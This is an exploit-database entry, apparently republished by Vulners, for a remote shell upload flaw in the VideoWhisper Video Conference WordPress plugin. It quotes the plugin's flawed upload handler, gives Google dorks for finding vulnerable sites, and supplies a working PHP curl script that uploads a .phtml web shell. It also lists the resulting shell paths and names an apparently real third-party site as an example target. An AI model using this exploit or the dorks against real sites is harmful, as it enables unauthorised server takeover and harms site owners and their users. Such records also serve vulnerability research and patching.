######################################################################
# Exploit Title: Wordpress VideoWhisper Video Conference Remote Shell Upload Exploit
# Software Link: http://www.videowhisper.com/
#Version:all Version
# Google dork1: inurl:/wp-content/plugins/VideoWhisper Video Conference/
# Google dork2: inurl:/wp-content/plugins/videowhisper-video-presentation/
######################################################################
The code in ./wp-content/plugins/trunk/vc/vw_upload.php
<?php
if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];
include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;
//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";
$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps");
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1
------------------------------------------------------------------------------------------------------
Exploit Code:
<?php
$uploadfile="shell.phtml";
$ch =
curl_init("http://localhost/wordpress/wp-content/plugins/trunk/vc/vw_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('vw_file'=>"@$uploadfile",
'room'=>'./'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell
http://localhost/wordpress/wp-content/plugins/trunk/vc/uploads/shell.name
http://localhost/wordpress/wp-content/plugins/videowhisper-video-presentation/vc/uploads/shell.name
example
http://www.pbold.antitek.com/wp-content/plugins/trunk/vc/vw_upload.php
# 0day.today [2018-01-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation